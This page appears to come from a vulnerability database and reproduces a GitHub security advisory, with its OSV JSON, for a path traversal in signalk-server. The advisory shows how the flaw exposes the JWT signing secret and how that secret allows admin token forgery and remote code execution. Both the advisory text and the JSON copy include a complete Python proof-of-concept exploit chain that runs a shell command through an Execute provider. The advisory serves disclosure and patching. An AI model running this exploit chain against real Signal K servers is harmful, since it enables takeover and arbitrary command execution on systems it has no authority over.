GHSA-4XM8-RG9H-JHQ2
Vulnerability from github – Published: 2026-10-30 22:57 – Updated: 2026-11-09 20:39Summary
Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading /security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.
Details
Description
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
- Read
<config>/security.json— disclosing the JWT signing secret (512-hex) and user password hashes. - Forge an admin JWT — HS256-sign
{"id":"admin"}with the disclosed secret; accepted by/skServer/loginStatus(userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware,src/tokensecurity.ts:593, applied atsrc/tokensecurity.ts:953). - Gain remote code execution —
POST /skServer/providers(admin) accepts a provider of typeExecute;packages/streams/src/execute.ts:93executes it viaspawn('sh', ['-c', command])at creation time. The provider persists tosettings.jsonand survives restarts.
On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
- Validate
resourceIdagainst a strict whitelist (for example, UUID format) insrc/api/resources/index.tsbefore any storage call, including PUT/DELETE. - In
FileStore.getResource/setResource/deleteResource, canonicalise withpath.resolve()and reject results outsidethis.resources[type].path. - Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
- Consider gating provider types that execute commands (
Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.
Impact
Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.34.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@signalk/resources-provider"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-123807"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T22:57:22Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nPath traversal in the Signal K resources and applicationData APIs lets an\nunauthenticated or low-privileged user read, write and delete files outside\nthe storage root. Reading \u003cconfig\u003e/security.json discloses the JWT signing\nsecret, enabling admin token forgery and remote code execution. \n\n### Details\n\n## Description\n\nThe v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`).\n\nBecause the JWT signing secret is stored in plaintext in `\u003cconfig\u003e/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can:\n\n1. **Read `\u003cconfig\u003e/security.json`** \u2014 disclosing the JWT signing secret (512-hex) and user password hashes.\n2. **Forge an admin JWT** \u2014 HS256-sign `{\"id\":\"admin\"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: \"admin\"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`).\n3. **Gain remote code execution** \u2014 `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn(\u0027sh\u0027, [\u0027-c\u0027, command])` at creation time. The provider persists to `settings.json` and survives restarts.\n\nOn default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token.\n\n## Suggested fixes\n\n1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE.\n2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`.\n3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.\n4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in.\n\n### Proof of concept\n\nFully local testbed. Start the server, enable `allow_readonly=true`, then run:\n\n```python\n#!/usr/bin/env python3\nimport base64, hashlib, hmac, json, time, urllib.request\nBASE = \"http://127.0.0.1:3000\"\nCMD = \"id \u003e /tmp/sk-pwned\"\n\n# 1) unauthenticated traversal read of security.json\np = \"/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json\"\nsk = json.load(urllib.request.urlopen(BASE + p))[\"secretKey\"]\n\n# 2) forge admin JWT\nb64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nh = b64(json.dumps({\"alg\":\"HS256\",\"typ\":\"JWT\"}).encode())\nc = b64(json.dumps({\"id\":\"admin\",\"iat\":int(time.time())}).encode())\ntok = h+\".\"+c+\".\"+b64(hmac.new(sk.encode(), (h+\".\"+c).encode(), hashlib.sha256).digest())\nreq = urllib.request.Request(BASE+\"/skServer/loginStatus\", headers={\"Authorization\":\"JWT \"+tok})\nassert json.load(urllib.request.urlopen(req))[\"userLevel\"] == \"admin\"\n\n# 3) add an Execute provider -\u003e spawn(\u0027sh\u0027,\u0027-c\u0027,CMD)\nprov = {\"id\":\"poc-rce\",\"enabled\":True,\"logging\":False,\"type\":\"Execute\",\n \"options\":{\"type\":\"ws\",\"dataType\":\"SignalK\",\"command\":CMD}}\nreq = urllib.request.Request(BASE+\"/skServer/providers\", data=json.dumps(prov).encode(),\n headers={\"Authorization\":\"JWT \"+tok,\"Content-Type\":\"application/json\"}, method=\"POST\")\nprint(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists\n```\n\nReproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.\n\n### Impact\n\nUnauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix",
"id": "GHSA-4xm8-rg9h-jhq2",
"modified": "2026-11-09T20:39:56Z",
"published": "2026-10-30T22:57:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.34.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.